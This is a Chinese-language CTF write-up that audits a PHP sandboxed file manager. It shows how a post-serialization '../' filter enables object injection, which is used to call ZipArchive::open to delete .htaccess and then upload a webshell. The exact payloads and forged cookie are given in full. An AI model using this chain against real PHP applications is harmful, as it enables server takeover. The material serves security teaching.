从一道CTF来审计学习PHP对象注入,由功能的分析到漏洞的探测、分析和利用。
PHP对象注入、代码审计、序列化
题目上来给了一个文件上传的服务,没有直接去测试,对网站进行敏感信息收集,发现存在robots.txt
泄露
User-agent: *
Disallow: /index.txt
访问index.txt
获取网站源码
<?php include('secret.php'); $sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']); global $sandbox_dir; function myserialize($a, $secret) { $b = str_replace("../","./", serialize($a)); return $b.hash_hmac('sha256', $b, $secret); } function myunserialize($a, $secret) { if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){ return unserialize(substr($a, 0, -64)); } } class UploadFile { function upload($fakename, $content) { global $sandbox_dir; $info = pathinfo($fakename); $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt'; file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content); $this->fakename = $fakename; $this->realname = sha1($content).$ext; } function open($fakename, $realname) { global $sandbox_dir; $analysis = "$fakename is in folder $sandbox_dir/$realname."; return $analysis; } } if(!is_dir($sandbox_dir)) { mkdir($sandbox_dir,0777,true); } if(!is_file($sandbox_dir.'/.htaccess')) { file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off"); } if(!isset($_GET['action'])) { $_GET['action'] = 'home'; } if(!isset($_COOKIE['files'])) { setcookie('files', myserialize([], $secret)); $_COOKIE['files'] = myserialize([], $secret); } switch($_GET['action']){ case 'home': default: $content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>"; $files = myunserialize($_COOKIE['files'], $secret); if($files) { $content .= "<ul>"; $i = 0; foreach($files as $file) { $content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>"; $i++; } $content .= "</ul>"; } echo $content; break; case 'upload': if($_SERVER['REQUEST_METHOD'] === "POST") { if(isset($_FILES['file'])) { $uploadfile = new UploadFile; $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name'])); $files = myunserialize($_COOKIE['files'], $secret); $files[] = $uploadfile; setcookie('files', myserialize($files, $secret)); header("Location: index.php?action=home"); exit; } } break; case 'changename': if($_SERVER['REQUEST_METHOD'] === "POST") { $files = myunserialize($_COOKIE['files'], $secret); if(isset($files[$_GET['i']]) && isset($_POST['newname'])){ $files[$_GET['i']]->fakename = $_POST['newname']; } setcookie('files', myserialize($files, $secret)); } header("Location: index.php?action=home"); exit; case 'open': $files = myunserialize($_COOKIE['files'], $secret); if(isset($files[$_GET['i']])){ echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname); } exit; case 'reset': setcookie('files', myserialize([], $secret)); $_COOKIE['files'] = myserialize([], $secret); array_map('unlink', glob("$sandbox_dir/*")); header("Location: index.php?action=home"); exit; }
查看源码,发现该题目基本类似于Insomnihack Teaser 2018
该题是一个沙盒文件管理器,允许用户上传文件,同时还允许查看文件的元数据。
文件上传通过cookie来保存上传的文件信息。$_COOKIE['files']的值是个反序列化的数组,数组的每个元素是一个UploadFile对象,保存了一个fakename(上传文件的原始名字,可以修改)和一个realname(内容hash值)。
用户可以进行下面五类操作:
case 'home': default: $content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>"; $files = myunserialize($_COOKIE['files'], $secret); if($files) { $content .= "<ul>"; $i = 0; foreach($files as $file) { $content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>"; $i++; } $content .= "</ul>"; } echo $content; break;
默认显示上传界面,随后反序列化Cookie存储files
数组的UploadFile
对象,遍历显示上传的文件。
UploadFile
保存上传文件,无过滤case 'upload': if($_SERVER['REQUEST_METHOD'] === "POST") { if(isset($_FILES['file'])) { $uploadfile = new UploadFile; $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name'])); $files = myunserialize($_COOKIE['files'], $secret); $files[] = $uploadfile; setcookie('files', myserialize($files, $secret)); header("Location: index.php?action=home"); exit; } } break;
创建UploadFile
对象,调用upload
方法,传入文件名、文件内容在服务器上进行存储,然后反序列化cookie的files对新创建的文件uploadfile
对象进行追加存储,之后重新设置cookie重新序列化files。
class UploadFile { function upload($fakename, $content) { global $sandbox_dir; $info = pathinfo($fakename); $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt'; file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content); $this->fakename = $fakename; $this->realname = sha1($content).$ext; } function open($fakename, $realname) { global $sandbox_dir; $analysis = "$fakename is in folder $sandbox_dir/$realname."; return $analysis; } }
case 'changename': if($_SERVER['REQUEST_METHOD'] === "POST") { $files = myunserialize($_COOKIE['files'], $secret); if(isset($files[$_GET['i']]) && isset($_POST['newname'])){ $files[$_GET['i']]->fakename = $_POST['newname']; } setcookie('files', myserialize($files, $secret)); } header("Location: index.php?action=home"); exit;
根据i
值索引文件对象UploadFile
,然后更改fakename
的值,之后重新设置cookie重新序列化files。
case 'open': $files = myunserialize($_COOKIE['files'], $secret); if(isset($files[$_GET['i']])){ echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname); } exit;
通过i
值索引文件对象UploadFile
,然后调用对象的open
方法输出指定文件的元数据:fakename和realname
信息。
case 'reset': setcookie('files', myserialize([], $secret)); $_COOKIE['files'] = myserialize([], $secret); array_map('unlink', glob("$sandbox_dir/*")); header("Location: index.php?action=home"); exit;
通过空数组设置新的cookie,然后删除$sandbox_dir/
下的文件。
对于用户的操作,其中的每一个操作,都是在沙盒环境中执行的。这里的沙盒,是程序生成的用户专属文件夹,其生成代码如下:
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
该沙盒还可以防止PHP执行,以生成的.htaccess文件为例,我们可以看到其中的php_flag engine off指令:
if(!is_dir($sandbox_dir)) { mkdir($sandbox_dir,0777,true); } if(!is_file($sandbox_dir.'/.htaccess')) { file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off"); }
针对UploadFile
类,在上传新文件时,将使用以下属性来创建UploadFile:
fakename:用户上传文件的原始文件名;
realname:自动生成的文件名,用于在磁盘上存储文件。
通过Open操作查看文件时,fakename用于文件名的显示,而在文件系统中所保存的文件,实际上其文件名为realname中的名称。
然后,会将UploadFile对象添加到数组,通过自定义的myserialize()函数对其进行序列化,并通过文件Cookie返回给用户。当用户想要查看文件时,Web应用程序会获取用户的Cookie,通过myunserialized()函数对UploadFile对象的数组反序列化,随后对其进行相应的处理。
下面是UploadFile对象的示例:
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:9:"pictu.jpg";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"qwe.jpg";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}f96f37cca80ecae3c5f2f30be497c27024a23a24093e9e7a26c9721be025fb7b
以下是用于生成上述序列化对象的相关代码:
function myserialize($a, $secret) { $b = str_replace("../","./", serialize($a)); return $b.hash_hmac('sha256', $b, $secret); } function myunserialize($a, $secret) { if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){ return unserialize(substr($a, 0, -64)); } } class UploadFile { function upload($fakename, $content) { global $sandbox_dir; $info = pathinfo($fakename); $ext = isset($info['extension']) ? ".".$info['extension'] : '.txt'; file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content); $this->fakename = $fakename; $this->realname = sha1($content).$ext; } function open($fakename, $realname) { global $sandbox_dir; $analysis = "$fakename is in folder $sandbox_dir/$realname."; return $analysis; } } switch($_GET['action']){ case 'open': $files = myunserialize($_COOKIE['files'], $secret); if(isset($files[$_GET['i']])){ echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname); } exit; }
因为每次建立sandbox的时候,都会在目录加上一个.htaccess
文件来限制php的执行,因此我们无法直接上传shell。同时由于在序列化和反序列化的时候做了签名,我们也不能直接通过修改cookie的方式来改变对象。
由于源代码中没有wakeup()或destruct()这样的magic函数,因此我们不能使用常用的一些反序列化攻击方法。
随着继续的审计和探索,发现应用程序中的漏洞:
function myserialize($a, $secret) { $b = str_replace("../","./", serialize($a)); return $b.hash_hmac('sha256', $b, $secret); } function myunserialize($a, $secret) { if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){ return unserialize(substr($a, 0, -64)); } }
代码的作者添加了一个str_replace()
调用,用来过滤掉../
序列。这就存在一个问题,str_replace
调用是在一个序列化的对象上执行的,而不是一个字符串。
比如有这么一个序列化后的字符串
php > $array = array();
php > $array[] = "../";
php > $array[] = "hello";
php > echo serialize($array);
a:2:{i:0;s:3:"../";i:1;s:5:"hello";}
在myserialize函数(../过滤器
)处理后就变成了
php > echo str_replace("../","./", serialize($array));
a:2:{i:0;s:3:"./";i:1;s:5:"hello";}
通过过滤,确实已经将“../”
改为了“./”
,然而,序列化字符串的大小并没有改变。s:3:”./“;
显示的字符串大小为3,然而实际上它的大小是2!!
当这个损坏的对象被unserialize()处理时,PHP会将序列化对象(“
)中的下一个字符视为其值的一部分,而从这之后,反序列化就会出错:
a:2:{i:0;s:3:"./";i:1;s:5:"hello";}
^ --- <== The value parsed by unserialize() is ./"
既然这样,那么如果合理控制../的数量,是不是就可以引入一个非法的对象呢
php > $array = array();
php > $array[] = "../../../../../../../../../../../../../";
php > $array[] = 'A";i:1;s:8:"Injected';
php > echo serialize($array);
a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:20:"A";i:1;s:8:"Injected";}
对于这个序列化的字符串,处理以后为:
php > $x = str_replace("../", "./", serialize($array));
php > echo $x;
a:2:{i:0;s:39:"./././././././././././././";i:1;s:20:"A";i:1;s:8:"Injected";}
--------------------------------------- --------
php > print_r(unserialize($x));
Array
(
[0] => ./././././././././././././";i:1;s:20:"A
[1] => Injected
)
这个时候,s:39对应的字符串变成了./././././././././././././";i:1;s:20:"A
,这样就把本来不应该有的Injected引入了进来。在这个例子中,使用的字符串是“i:1;s:8:”Injected”,但同样,任何基元/对象都可以在这里使用。
继续回到题目本身,情况与之几乎相同。我们需要的就是一个数组,该题中正是UploadFile
对象数组,在这个数组中我们可以破坏第一个对象,从而控制第二个对象。
我们可以通过上传两个文件来实现漏洞的利用。就像上面的例子一样,我们具体操作如下:
上传两个文件,创建两个VaultFile对象;
用部分序列化的对象,重命名第二个UploadFile对象中的fakename;
借助../
序列,重命名第一个UploadFile对象中的fakename,使其到达第二个UploadFile对象。
请注意,由于我们现在使用的是Web应用程序的正常功能来执行上述操作,所以就不用再考虑签名的问题,这些操作一定是合法的。
由于myserialize
的问题,如果我们有一个可控点,就可以尝试引入非法的对象。这个可控点就是changename,changename会修改fakename的值同时重新序列化对象
通过上面的探索,现在,就可以使用任意数据,来伪造我们自己的序列化对象。在这一步骤中,我们需要解决的是一个经典的对象注入问题,但在这里,并没有太多技巧或者捷径可以供我们使用。
到目前为止,我们几乎已经用到了应用中所有的功能,但还有一个没有用过,那就是Open。以下是Open的相关代码:
function open($fakename, $realname) { global $sandbox_dir; $analysis = "$fakename is in folder $sandbox_dir/$realname."; return $analysis; } case 'open': $files = myunserialize($_COOKIE['files'], $secret); if(isset($files[$_GET['i']])){ echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname); } exit;
Open操作通过i
索引会从$files数组中获取一个对象,并使用$object->fakename和$object->realname这两个参数来调用open()函数。
通过上面知道,可以在$files数组中注入任何对象(就像之前注入的“Injected”字符串一样)。但如果我们注入的不是UploadFile对象,会发生什么?
其实可以看到,open()这一方法名是非常常见的。如果我们能够在PHP中找到一个带有open()方法的标准类,那么就可以欺骗Web应用去调用这个类的open()方法,而不再调用UploadFile中的方法。
简单来看可以理解为下面的实例过程
<?php $array = new array(); $array[] = new UploadFile(); $array[0]->open($array[0]->fakename, $array[0]->realname);
可以通过欺骗Web应用程序,来实现这一点,从而实现类的欺骗,调用其它类的相同方法:
<?php $array = new array(); $array[] = new SomeOtherFile(); $array[0]->open($array[0]->fakename, $array[0]->realname);
既然可以这样操作那么下来就是要寻找有那些类包含open()方法,从而实现后续的利用
通过原WP,编写代码列出所有包含open()方法的类:
$ cat list.php <?php foreach (get_declared_classes() as $class) { foreach (get_class_methods($class) as $method) { if ($method == "open") echo "$class->$methodn"; } } ?>
列举结果:
$ php list.php SQLite3->open SessionHandler->open XMLReader->open ZipArchive->open
经过寻找,共发现有4个类带有open()方法。如果在$files数组中,注入这些类中任意一个的序列化对象,我们就可以通过带有特定参数的open动作,来调用这些类中的方法。
其中的大部分类都能够对文件进行操作。回到之前,我们知道.htaccess
会在沙盒中阻止我们执行PHP。所以,假如能通过某种方式删掉.htaccess
文件,那么就成功了。
通过对上面的4个类进行测试,发现,ZipArchive->open方法可以删除目标文件,前提是我们需要将其第二个参数设定为“9”。
ZipArchive::open
的第一个参数是文件名,第二个参数是flags,而9对应的是ZipArchive::CREATE | ZipArchive::OVERWRITE
。ZipArchive::OVERWRITE
的意思是重写覆盖文件,这个操作会删除原来的文件。
因为UploadFile类的open函数的参数是fakename和realname,fakename对应.htaccess,realname对应flags,这里直接使用ZipArchive::OVERWRITE
的integer值9,这样我们就可以使用ZipArchive->open()来删除.htaccess
文件。
先序列化一个ZipArchive类的对象:
<?php $zip = new ZipArchive(); $zip->fakename = "sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess"; $zip->realname = "9"; echo serialize($zip); O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}
然后随便上传两个文件,查看cookie得到序列化的值
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:9:"pictu.jpg";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"qwe.jpg";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}f96f37cca80ecae3c5f2f30be497c27024a23a24093e9e7a26c9721be025fb7b
根据前面的探索利用,将第二个文件的fakename改成需要构造的ZipArchive的序列化值,如果想单独溢出注入ZipArchive对象,就需要将第二个文件对象中fakename值的前后部分都需要被溢出才行:
";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg
67个无用字符,所以ZipArchive序列化对象中的comment的长度为67,部分构造如下:
i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
因为第一个文件对象中的fakename需要溢出到第二个文件的fakename值的位置,所以第二个文件对象的fakename值还需要加一部分:
";s:8:"realname";s:1:"A";}
PS:此处的realname内容是什么无所谓,主要是为了序列化的完整性
第二个文件对象最终的fakename值如下:
";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
处理完第二个文件对象的fakename就需要处理第一个文件对象的fakename:
同时,要想ZipArchive对象成功溢出,就需要从第一个文件对象fakename值溢出到第二个文件对象的fakename值,所以第一个fakename值需要溢出的部分为:
";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"
可是这样是不正确的,正确部分的应该是:
";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"
因为我们必须先修改第二个对象的fakename值,然后才能依据重新反序列化的Cooke[files]修改第一个的fakename,而此时的第二个fakename长度已经改变,不再是7,所以这部分溢出的长度为117,因此第一个文件的fakename值就是117个../
。
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
最终payload
依据上述的分析,先修改第二个文件对象的fakename然后再修改第一个文件对象的fakename(不能互换!!!)
第二个文件对象的fakename:
";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
第一个文件对象的fakename:
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
修改伪造之后成功伪造引入非法对象的Cookie
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:351:"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}cc2ffa6941ffc8895e4c029f62046ab7963af6ec9e5061103d71a295834b388b
查看非法对象Cookie中files的文件对象数组
php > print_r(unserialize($X));
Array
(
[0] => __PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => UploadFile
[fakename] => ./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"
[realname] => A
)
[1] => ZipArchive Object
(
[status] => 0
[statusSys] => 0
[numFiles] => 0
[filename] =>
[comment] =>
[fakename] => sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess
[realname] => 9
)
)
最后访问index.php?action=open&i=1
,服务器直接操作files数组中i=1索引的对象执行open()方法,即ZipArchive的open函数,删除.htaccess
文件。
之后,直接上传webshell拿到服务器权限
shell.php is in folder sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/cf9c5d4cdaab48d9872f7029d1cd642431e58193.php